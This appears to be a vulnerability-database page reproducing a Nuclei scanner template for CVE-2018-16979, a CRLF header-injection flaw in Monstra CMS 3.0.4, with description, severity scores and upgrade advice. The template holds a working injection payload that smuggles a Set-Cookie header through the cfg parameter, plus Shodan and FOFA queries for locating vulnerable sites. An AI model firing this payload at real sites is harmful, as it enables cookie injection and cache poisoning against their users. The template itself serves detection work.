BiuPoC

CVE-2018-16979: Monstra CMS 3.0.4 - HTTP Header Injection

2025-08-01 Monstra CMS PoC Public

Description

Monstra CMS 3.0.4 is susceptible to HTTP header injection in the plugins/captcha/crypt/cryptographp.php cfg parameter. An attacker can potentially supply invalid input and cause the server to allow redirects to attacker-controlled domains, perform cache poisoning, and/or allow improper access to virtual hosts not intended for this purpose. This is a related issue to CVE-2012-2943.

PoC

id: CVE-2018-16979

info:
  name: Monstra CMS 3.0.4 - HTTP Header Injection
  author: 0x_Akoko
  severity: medium
  description: |
    Monstra CMS 3.0.4 is susceptible to HTTP header injection in the plugins/captcha/crypt/cryptographp.php cfg parameter. An attacker can potentially supply invalid input and cause the server to allow redirects to attacker-controlled domains, perform cache poisoning, and/or allow improper access to virtual hosts not intended for this purpose. This is a related issue to CVE-2012-2943.
  impact: |
    This vulnerability can lead to various attacks such as session hijacking, cross-site scripting (XSS), and remote code execution (RCE).
  remediation: |
    Upgrade Monstra CMS to version 3.0.5 or later to mitigate the HTTP Header Injection vulnerability.
  reference:
    - https://github.com/howchen/howchen/issues/4
    - https://nvd.nist.gov/vuln/detail/CVE-2018-16979
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2018-16979
    cwe-id: CWE-113
    epss-score: 0.0302
    epss-percentile: 0.87044
    cpe: cpe:2.3:a:monstra:monstra:3.0.4:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: monstra
    product: monstra
    shodan-query: http.favicon.hash:419828698
    fofa-query: icon_hash=419828698
  tags: cve2018,cve,crlf,mostra,mostracms,cms,monstra,xss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/plugins/captcha/crypt/cryptographp.php?cfg=1%0D%0ASet-Cookie:%20crlfinjection=1"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'new line detected in'
          - 'cryptographp.php'
        condition: and

      - type: status
        status:
          - 200
# digest: 4b0a004830460221008ee3fc45c4a4bc5a29b3b3ead6bfc7c7ec48c7fd117c2e953d3e4ccdf0c9b52c022100c3031874ed0adaeb88404c345a12528c06600b07f7badecbeaa2c43b527954cf:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2018/CVE-2018-16979.yaml

References

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